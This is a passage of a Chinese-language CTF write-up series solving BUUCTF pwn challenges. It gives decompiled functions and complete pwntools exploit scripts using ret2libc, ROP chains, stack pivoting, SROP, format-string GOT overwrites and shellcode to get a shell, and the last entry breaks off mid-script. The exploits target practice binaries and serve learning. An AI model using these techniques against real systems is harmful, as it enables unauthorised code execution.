  qmemcpy(&v3, &unk_8048640, 0x60u);
  v1 = 12;
  v2 = &v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

开始直接使用pwntools自带的模块写入getshell的shellcode,可是没有成功。

查阅网上的wp后,得知

seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

第一次调用prctl函数 ————禁止提权
第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit

意思就是我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag。

由于水平还不够,利用了pwntools自带的模块写了shellcode。

from pwn import *
from LibcSearcher import *

context(arch='i386', os='linux', log_level="debug")

io = remote("node3.buuoj.cn", 25058)
elf = ELF("./orw")

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',50)
shellcode += shellcraft.write(1,'esp',50)
shellcode = asm(shellcode)

io.sendline(shellcode)

io.interactive()
'''
        /* open(file='/flag', oflag=0, mode=0) */
        /* push '/flag\x00' */
        push 0x67
        push 0x616c662f
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        /* call open() */
        push 5 /* 5 */
        pop eax
        int 0x80
        /* read(fd='eax', buf='esp', nbytes=0x32) */
        mov ebx, eax
        mov ecx, esp
        push 0x32
        pop edx
        /* call read() */
        push 3 /* 3 */
        pop eax
        int 0x80
        /* write(fd=1, buf='esp', n=0x32) */
        push 1
        pop ebx
        mov ecx, esp
        push 0x32
        pop edx
        /* call write() */
        push 4 /* 4 */
        pop eax
        int 0x80
'''

0x2d jarvisoj_level1

只开启了RELRO,而且有可写可执行段。

给了我们栈上参数的地址,然后进行输入,存在溢出。

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  printf("What's this:%p?\n", &buf);
  return read(0, &buf, 0x100u);
}

使用gdb查看了一下,此时栈上是可读可写可执行的,我们可以往这写入shellcode,然后返回到这这行shellcode。

不知道为什么本地能跑通,其他平台的也可以,就是buu的远程打不通,,,
exp:

from pwn import *
from LibcSearcher import *

context(arch='i386', os='linux', log_level="debug")

# io = remote("node3.buuoj.cn", 28474)
io = process('./level1')

buf_addr = io.recvline()[14:-2]
buf_addr = int(buf_addr, 16)
shellcode = asm(shellcraft.sh())
payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.sendline(payload)
io.interactive()
io.close()

于是只能ret2libc

exp:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 29200)
elf = ELF('./level1')
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']
payload = 'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4)

io.send(payload)
read_addr = u32(io.recv(4))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
io.send(payload)
io.interactive()

0x2e picoctf_2018_buffer overflow 2

开启了RELRO和NX保护。

存在溢出,返回到后门函数 win() 即可。

int vuln()
{
  char s; // [esp+Ch] [ebp-6Ch]

  gets(&s);
  return puts(&s);
}

exp:

from pwn import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 28561)
elf = ELF('./PicoCTF_2018_buffer_overflow_2')

flag = 0x80485cb

payload = 'a' * (0x6c + 4) + p32(flag) + 'aaaa' + p32(0xDEADBEEF) + p32(0xDEADC0DE)
io.send(payload)
io.interactive()

0x2f wustctf2020_getshell

又是简单的溢出,ret2text。

exp:

from pwn import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 27784)
elf = ELF('./wustctf2020_getshell')

flag = 0x804851b

payload = 'a' * (0x18 + 4) + p32(flag)
io.send(payload)
io.interactive()

0x30 xdctf2015_pwn200

ret2libc

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 27473)
elf = ELF('./bof')
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']

payload = 'a' * (0x6c + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4)
io.sendlineafter('Welcome to XDCTF2015~!\n', payload)

read_addr = u32(io.recv(4))

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * (0x6c + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
io.sendlineafter('Welcome to XDCTF2015~!\n', payload)
io.interactive()

0x31 bbys_tu_2016

ret2text

from pwn import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 28163)
elf = ELF('./bbys_tu_2016')

flag = 0x804856d

payload = 'a' * (0x14 + 4) + p32(flag)
io.sendline( payload)
io.interactive()

0x32 gyctf_2020_borrowstack

只开启了RELRO和NX保护。

main函数对buf的输入存在栈溢出,但是溢出长度很短,只有0x10个字符,然后又对bss段的bank进行了长为0x100的输入,很容易就能想到在bank中写入ROP链,然后进行栈迁移。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-60h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts(&s);
  read(0, &buf, 0x70uLL);
  puts("Done!You can check and use your borrow stack now!");
  read(0, &bank, 0x100uLL);
  return 0;
}

注意点:

  bss 段离 got 表太近了,程序运行时函数栈增加,导致后面调用函数的时候会覆盖 got 表,返回main函数时无法调用read函数。解决方法是栈迁移时地址再往高点移。
  这题用 system("/bin/sh") 拿 shell 的话 sytem 运行过程中会报错。解决方法是换成 one_gadget 拿 shell。

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('node3.buuoj.cn', 26855)
elf = ELF('./gyctf_2020_borrowstack')
libc = ELF('./libc-2.23.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
stack = 0x601080
leave_ret = 0x400699
rdi = 0x400703
ret = 0x40069A

io.recv()
payload = 'a' * 0x60 + p64(stack + 0x10) + p64(leave_ret)
io.send(payload)
io.recv()

payload = p64(ret) * 20 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.send(payload)

address = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(address))

libc_addr = address - libc.symbols['puts']
one_gadget = libc_addr + 0x4526a

payload = 'a' * 0x60 + 'deadbeef' + p64(one_gadget)
io.sendlineafter('what you want\n', payload)

io.interactive()

0x33 inndy_rop

开启了RELRO和NX保护。

反编译的时候会发现F5报错

找到报错提示的位置,点击option–>general调出如图的界面,勾选上stack pointar

看到堆栈不平衡,选中报错地址的上一行,右击,点击“change stack"跳出如图界面,在sp值前加个 - 即可。

简单的栈溢出,但是这题是静态编译,静态编译就不会调用libc中的东西,所以我们也不存在泄露版本利用libc的函数了。

静态编译,就是编译器在编译可执行文件的时候,将可执行文件需要调用的对应静态库(.a或.lib)中的部分提取出来,链接到可执行文件中去,使可执行文件在运行的时候不依赖于动态链接库。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  overflow();
  return 0;
}

int overflow()
{
  char v1; // [esp+Ch] [ebp-Ch]

  return gets(&v1);
}

可以利用ROPgadget,直接利用程序中的片段拼凑rop链。学到了,骚操作。
ROPgadget --binary rop --ropchain

直接拿上去加一加就能用了。

from pwn import *
from struct import pack

io = remote('node3.buuoj.cn', 25021)
# io=process('./rop')

p = 'a' * 0xc + 'bbbb'
p += pack('<I', 0x0806ecda)  # pop edx ; ret
p += pack('<I', 0x080ea060)  # @ .data
p += pack('<I', 0x080b8016)  # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b)  # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda)  # pop edx ; ret
p += pack('<I', 0x080ea064)  # @ .data + 4
p += pack('<I', 0x080b8016)  # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b)  # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda)  # pop edx ; ret
p += pack('<I', 0x080ea068)  # @ .data + 8
p += pack('<I', 0x080492d3)  # xor eax, eax ; ret
p += pack('<I', 0x0805466b)  # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9)  # pop ebx ; ret
p += pack('<I', 0x080ea060)  # @ .data
p += pack('<I', 0x080de769)  # pop ecx ; ret
p += pack('<I', 0x080ea068)  # @ .data + 8
p += pack('<I', 0x0806ecda)  # pop edx ; ret
p += pack('<I', 0x080ea068)  # @ .data + 8
p += pack('<I', 0x080492d3)  # xor eax, eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0807a66f)  # inc eax ; ret
p += pack('<I', 0x0806c943)  # int 0x80

io.sendline(p)
io.interactive()

0x34 ciscn_2019_s_3

是一道SROP的题目,vuln() 中存在溢出,使用的系统调用调用了read和write函数。

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400uLL);
  return sys_write(1u, buf, 0x30uLL);
}

然后我们在gadgets() 函数的汇编代码中找到了 mov rax, 0Fh ,将rax寄存器的值设置为15,ubuntu18 64位系统调用号15为__NR_rt_sigreturn,用于恢复从用户态进入内核态所保存的上下文,正好可以利用触发SROP。

public gadgets
gadgets proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     rax, 0Fh
retn
gadgets endp ;

接下来我们得找一个地址来储存 /bin/sh 字符串来作为参数,这里我们可以利用write函数来泄露栈上的数据来尝试获取栈的地址。

有了储存 /bin/sh 字符串的地址,接下来就可以构造fake Signal Frame了:

exp:

from pwn import *

io = remote("node3.buuoj.cn", 29348)

context.log_level = "debug"
context.arch = "amd64"
vuln = 0x4004ED
syscall = 0x400501
gadget = 0x4004DA

payload = 'a' * 0x10 + p64(vuln)

io.send(payload)
io.recv(0x20)

stack_leak = u64(io.recv(6).ljust(8,"\x00"))
bin_sh = stack_leak - 280

FakeFrame = SigreturnFrame()
FakeFrame.rax = constants.SYS_execve
FakeFrame.rdi = bin_sh
FakeFrame.rip = syscall
FakeFrame.rsi = 0
FakeFrame.rdx = 0

payload = '/bin/sh\x00' + 'a' * 8 + p64(gadget) + p64(syscall) + str(FakeFrame)
io.send(payload)
io.interactive()

0x35 axb_2019_fmt32

重点看看这个main函数中的while循环,这里的 printf(format); 显然存在格式化字符串漏洞

  while ( 1 )
  {
    memset(s, 0, sizeof(s));
    memset(format, 0, sizeof(format));
    printf("Please tell me:");
    read(0, s, 0x100u);
    sprintf(format, "Repeater:%s\n", s);
    if ( strlen(format) > 0x10E )
      break;
    printf(format);
  }

找到偏移量,这里已有的字符串 Repeater:%s 长度为11,没有四字节对其,我们可以输入一个字符a使其对齐,然后偏移量为8。

然后我们可以泄露出puts函数的实际地址,然后泄露出libc,得到one_gadget的地址,然后将其写入printf函数的got表,就可以getshell了。

注意这里的pwntools的模块fmtstr_payload的参数numbwritten,表示已经输出的字符个数,,这里已经输出了Repeater:a,也就是10个字节,这样才能正确写入printf函数的got表。

exp:

from pwn import *
from LibcSearcher import *

# io = process('./axb_2019_fmt32')
io = remote('node3.buuoj.cn', 28127)
elf = ELF('./axb_2019_fmt32')

puts_got = elf.got['puts']
printf_got = elf.got['printf']

payload = 'a' + p32(puts_got) + '%8$s'

io.sendafter('me:', payload)
puts_addr = u32(io.recv(18)[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')

one = 0x3a80c + libc_base
print(hex(one))
payload = 'a' + fmtstr_payload(8, {printf_got:one},write_size = "byte", numbwritten = 0xa)
# gdb.attach(io)
io.sendafter('me:', payload)

io.interactive()

0x36 mrctf2020_shellcode

开启了RELRO和PIE保护,但是没开启NX保护,也就是说我们可以执行shellcode。

打开ida,但是看不了伪代码,但是Ghidra可以看,这谁不说一句牛。

直接执行了local_418)(),那我们直接写入shellcode就可以了。

undefined8 main(void)

{
  ssize_t sVar1;
  undefined local_418 [1036];
  int local_c;

  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  puts("Show me your magic!");
  sVar1 = read(0,local_418,0x400);
  local_c = (int)sVar1;
  if (0 < local_c) {
    (*(code *)local_418)();
  }
  return 0;
}

exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

# io = process('./mrctf2020_shellcode')
io = remote('node3.buuoj.cn',28866)
shellcode = asm(shellcraft.sh())

io.sendlineafter('magic!\n', shellcode)
io.interactive()

0x37 others_babystack

开启了RELRO、canary和NX保护。

main函数中输入1可以进行输入,存在栈溢出。输入2可以输出我们输入的内容。输入3退出。

  while ( 1 )
  {
    menu();
    choice = input_num();
    switch ( choice )
    {
      case 2:
        puts(s);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, s, 0x100uLL);
        break;
      default:
        print("invalid choice");
        break;
    }
    print(&unk_400AE7);
  }

常规的ret2libc,先泄露出canary,然后泄露出libc基址,然后构造ROP链getshell即可。

exp:

from pwn import *
from LibcSearcher import *

# io = process('./babystack')
io = remote('node3.buuoj.cn', 29425)
elf = ELF('./babystack')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400908

rdi = 0x400a93

io.sendlineafter('>> ', '1')
payload = 'a' * (0x90 - 8)
io.sendline(payload)

io.sendlineafter('>> ', '2')
io.recvuntil('a\n')
canary = u64(io.recv(7).rjust(8,'\x00'))
print(hex(canary))

payload = 'a' * (0x90 - 8) + p64(canary) + 'deadbeef' 
payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter('>> ', '1')
io.sendline(payload)
io.sendlineafter('>> ', '3')


puts_addr = u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * (0x90 - 8) + p64(canary) + 'deadbeef' 
payload += p64(rdi) + p64(bin_sh) + p64(system) + p64(main)
io.sendlineafter('>> ', '1')
io.sendline(payload)
io.sendlineafter('>> ', '3')

io.interactive()

0x38 pwnable_start

这题就只有一个start和一个exit,东西很少,保护都没开,这里先是利用系统调用调用了write函数, write(1, ecx, 14); ,然后调用read函数, read(0, ecx, 0x3c); ,在gdb中调试发现溢出需要长度为20。

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ;

这里我们可以先将栈的地址泄露出来,然后写入shellcode,执行shellcode来getshell。

这里可以看到泄露出来的esp就是我们输入内容开始的地址,也就是说esp与shellcode的偏移为20。

exp:

from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')

io = process('./start')
gdb.attach(io, 'start')
payload = 'a' * 0x14 + p32(0x08048087)

io.sendafter(':', payload)
esp = u32((io.recv())[:4])
print(hex(esp))

shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

payload = 'a' * 0x14 + p32(esp + 20) + shellcode
io.sendline(payload)

io.interactive()

0X39 wustctf2020_getshell_2

查看源码,存在栈溢出,但是溢出长度很短。

ssize_t vulnerable()
{
  char buf[24]; // [esp+0h] [ebp-18h] BYREF

  return read(0, buf, 0x24u);
}

有一个shell函数,给了我们system函数,以及sh字符串。

int shell()
{
  return system("/bbbbbbbbin_what_the_f?ck__--??/sh");
}

由于溢出长度限制,我们不能使用system函数的plt表来构造ROP链,这里可以用 call system 来构造,不用添加返回地址,会将下一条指令压入,这样长度就刚好够了。

exp:

from pwn import *

# io = process('./wustctf2020_getshell_2')
io = remote('node3.buuoj.cn', 29568)

sh = 0x08048670
system = 0x8048529

payload = 'a' * 28 + p32(system) + p32(sh)
print(hex(len(payload)))
io.sendline(payload)

io.interactive()

0x3a ciscn_2019_s_4

ciscn_2019_es_2一模一样。

exp:

from pwn import *

# context(log_level='debug', arch='i386', os='linux')

io = remote('node3.buuoj.cn', 28237)
# io = process('./ciscn_s_4')
elf = ELF('./ciscn_s_4')

system = 0x08048400
leave_ret = 0x080484b8
payload = 'a' * 0x28

io.send(payload)
io.recvuntil(payload)
ebp = u32(io.recv(4))
print(hex(ebp))

payload = 'abcd' + p32(system) + 'aaaa' + p32(ebp - 0x28) + '/bin/sh\x00'
payload = payload.ljust(0x28, '\x00') + p32(ebp - 0x38) + p32(leave_ret)
io.send(payload)
io.interactive()

0x3b mrctf2020_easyoverflow

将字符串"ju3t_@_f@k3_f1@g" 复制到v5中,然后读取输入到v4,存在溢出。然后将v5作为参数传递到check函数中,check函数会判断他是否和位于bssdaunt的字符串fake_flag相等,不相等退出程序,相等的话,之后程序会执行 system("/bin/sh") ,查看一下fake_flag的值,v4覆盖v5为该值就可以了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-70h] BYREF
  char v5[24]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v6; // [rsp+48h] [rbp-28h]
  __int64 v7; // [rsp+50h] [rbp-20h]
  __int64 v8; // [rsp+58h] [rbp-18h]
  __int16 v9; // [rsp+60h] [rbp-10h]
  unsigned __int64 v10; // [rsp+68h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  strcpy(v5, "ju3t_@_f@k3_f1@g");
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0;
  gets(v4, argv);
  if ( !(unsigned int)check((__int64)v5) )
    exit(0);
  system("/bin/sh");
  return 0;
}

__int64 __fastcall check(__int64 a1)
{
  int i; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  v3 = strlen(fake_flag);
  for ( i = 0; ; ++i )
  {
    if ( i == v3 )
      return 1LL;
    if ( *(_BYTE *)(i + a1) != fake_flag[i] )
      break;
  }
  return 0LL;
}

exp:

from pwn import *

# io = process('./mrctf2020_easyoverflow')
io = remote('node3.buuoj.cn', 26813)

payload = 'a' * 0x30 + 'n0t_r3@11y_f1@g'

io.sendline(payload)

io.interactive()

0x3c wustctf2020_closed

这题将标准输出流和标准错误流都给关闭了,然后返回给我们一个shell,但是无论我们输入什么都没有回显,因为输出流已经被关闭了。

__int64 vulnerable()
{
  puts("HaHaHa!\nWhat else can you do???");
  close(1);
  close(2);
  return shell();
}

这题还是看了别人的wp才知道怎么做,输入 exec 1>&0 就行了。

执行 exec 1>&0 也就是把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出,此时就可以执行命令并且看得到输出了。具体的可以看看这篇文章:&0"> exec 1>&0

0x3d ciscn_2019_es_7

ciscn_2019_s_3

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./ciscn_2019_es_7')
io = remote('node3.buuoj.cn', 27868)

vuln = 0x4004ed
syscall = 0x400517
gadget = 0x4004da

payload = 'a' * 0x10 + p64(vuln)
io.send(payload)
io.recv(0x20)

stack = u64(io.recv(6).ljust(8,'\x00'))
print(hex(stack))

bin_sh = stack - 0x118

FakeFrame = SigreturnFrame()
FakeFrame.rax = constants.SYS_execve
FakeFrame.rdi = bin_sh
FakeFrame.rip = syscall
FakeFrame.rsi = 0
FakeFrame.rdx = 0

payload = '/bin/sh\x00' + 'deadbeef' + p64(gadget) + p64(syscall) + str(FakeFrame)
io.send(payload)
io.interactive()

0x3e jarvisoj_level5

jarvisoj_level3_x64一模一样。

exp:

from pwn import *
from LibcSearcher import *

# io = process('./level3_x64')
io = remote('node3.buuoj.cn', 28655)
elf = ELF('./level3_x64')

write_plt = elf.plt['write']
write_got = elf.got['write']
vuln = 0x4005e6
rdi = 0x4006b3
rsi = 0x4006b1

payload = 'a' * 0x88 + p64(rdi) + p64(1) + p64(rsi) + p64(write_got)
payload += p64(1) + p64(write_plt) + p64(vuln)

io.sendlineafter('Input:\n', payload)

write_addr = u64(io.recvuntil(":")[:6].ljust(8,'\x00'))
print(hex(write_addr))

libc = LibcSearcher('write', write_addr)

libc_base = write_addr - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * 0x88 + p64(rdi) + p64(bin_sh) + p64(system)

io.sendline(payload)
io.interactive()

0x3f actf_2019_babystack

看看main函数,s的大小为208,但是输入长度最大为0xe0,也就是说存在溢出,但是溢出长度很短,覆盖完rbp后只能溢出8个字节大小了,溢出长度短,不难想到利用栈迁移,而且他还给了我们栈的地址我们可以将ROP链构造在栈上,然后利用leave指令将栈迁移回去,执行我们构造的ROP链。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 result; // rax
  char s[208]; // [rsp+0h] [rbp-D0h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  signal(14, handler);
  memset(s, 0, sizeof(s));
  puts("Welcome to ACTF's babystack!");
  sleep(3u);
  puts("How many bytes of your message?");
  putchar(62);
  input_size();
  if ( nbytes <= 0xE0 )
  {
    printf("Your message will be saved at %p\n", s);
    puts("What is the content of your message?");
    putchar(62);
    read(0, s, nbytes);
    puts("Byebye~");
    result = 0LL;
  }
  else
  {
    puts("I've checked the boundary!");
    result = 1LL;
  }
  return result;
}

先泄露出libc的基址,然后再构造ROP链getshell。

exp:

from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./ACTF_2019_babystack')
io = remote('node3.buuoj.cn', 25148)
elf = ELF('./ACTF_2019_babystack')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x4008f6
leave = 0x400a18
rdi = 0x400ad3
ret = 0x400709

io.sendlineafter('>', str(224))
io.recvuntil('at 0x')
stack = int(io.recv(12), 16)
print(hex(stack))

payload = 'a' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload = payload.ljust(208, 'a') + p64(stack) + p64(leave)

io.sendafter('>', payload)

io.recvuntil('Byebye~\n')
puts_addr = u64(io.recvuntil('\n',drop = True).ljust(8,'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')


io.sendlineafter('>', str(224))
io.recvuntil('at 0x')
stack = int(io.recv(12), 16)
print(hex(stack))

payload = 'a' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) + p64(main)
payload = payload.ljust(208, 'a') + p64(stack) + p64(leave)

io.sendafter('>', payload)
io.interactive()

0x40 picoctf_2018_shellcode

保护机制啥都没开。

这里因为main函数里有一句 call eax 代码导致不能反编译,而且还是静态链接。我们可以选择看汇编代码,也可以用Ghidra。

这里将变量名修改了一下,可以看到如果能将shellcode写入的话就能直接执行了。然后在vuln函数中就是一个gets函数,进行输入,存在栈溢出,但是我们不需要利用溢出,直接写入shellcode就可以了。

exp:

from pwn import *

context(log_level='debug', arch='i386', os='linux')

# io = process('./PicoCTF_2018_shellcode')
io = remote('node3.buuoj.cn', 25170)

payload = asm(shellcraft.sh())

io.sendline(payload)

io.interactive()

0x41 cmcc_pwnme2

main函数与userfunction()函数都存在栈溢出漏洞,但是由于userfunction()函数中参数距离栈底更近,因此选择在userfunction()函数中进行溢出。

int __cdecl userfunction(char *src)
{
  char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF

  strcpy(dest, src);
  return printf("Hello, %s\n", src);
}

还有在函数exec_string()中,会读取位于bss段的string作为文件名,输出其中的内容,我们可以利用溢出将flag写入string中,就可以直接读取flag。

int exec_string()
{
  char s; // [esp+Bh] [ebp-Dh] BYREF
  FILE *stream; // [esp+Ch] [ebp-Ch]

  stream = fopen(&string, "r");
  if ( !stream )
    perror("Wrong file");
  fgets(&s, 50, stream);
  puts(&s);
  fflush(stdout);
  return fclose(stream);
}

exp:

from pwn import *
from LibcSearcher import *

# context(log_level='debug', arch='i386', os='linux')

io = process('./pwnme2')
io = remote('node3.buuoj.cn', 25471)
elf = ELF('./pwnme2')

gets_plt = elf.plt['gets']
exec_string = 0x80485cb
flag = 0x804a060

payload = 'a' * (0x6c + 4) +  p32(gets_plt) + p32(exec_string) + p32(flag)

io.recvuntil('Please input:\n')
io.sendline(payload)
io.sendline('flag')

io.interactive()

0x42 picoctf_2018_can_you_gets_me

明显的栈溢出,静态链接的程序,用 ROPgadget --binary PicoCTF_2018_can-you-gets-me --ropchain 直接利用程序中的片段拼凑rop链。

from pwn import *
from struct import pack

# io = process('./PicoCTF_2018_can-you-gets-me')
io = remote('node3.buuoj.cn', 28351)

payload = 'a' * (0x18 + 4)
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080b81c6) # pop eax ; ret
payload += '/bin'
payload += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea064) # @ .data + 4
payload += pack('<I', 0x080b81c6) # pop eax ; ret
payload += '//sh'
payload += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x08049303) # xor eax, eax ; ret
payload += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x080481c9) # pop ebx ; ret
payload += pack('<I', 0x080ea060) # @ .data
payload += pack('<I', 0x080de955) # pop ecx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x0806f02a) # pop edx ; ret
payload += pack('<I', 0x080ea068) # @ .data + 8
payload += pack('<I', 0x08049303) # xor eax, eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0807a86f) # inc eax ; ret
payload += pack('<I', 0x0806cc25) # int 0x80

io.sendline(payload)
io.interactive()

0x43 picoctf_2018_got_shell

让我们输入一个地址,然后我们可以往里任意写四个字节的数据,而且只开启了NX保护,got表可以覆写,还有后门函数,直接将后门函数的地址写入puts函数的got表即可。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  _DWORD *v3; // [esp+14h] [ebp-114h] BYREF
  int v4; // [esp+18h] [ebp-110h] BYREF
  char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v6; // [esp+11Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  setvbuf(_bss_start, 0, 2, 0);
  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
  __isoc99_scanf("%x", &v3);
  sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
  puts(s);
  __isoc99_scanf("%x", &v4);
  sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
  puts(s);
  *v3 = v4;
  puts("Okay, exiting now...\n");
  exit(1);
}

exp:

from pwn import *

context(log_level='debug', arch='i386', os='linux')

# io = process('./PicoCTF_2018_got-shell')
io = remote('node3.buuoj.cn', 26859)

io.sendlineafter('byte value?', '804a00c')
io.sendlineafter('write to 0x804a00c', '804854b')
io.interactive()

0x44 axb_2019_brop64

常规的ret2libc(似乎和brop没半毛钱关系)

exp:

from pwn import *
from LibcSearcher import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./axb_2019_brop64')
io = remote('node3.buuoj.cn', 28798)
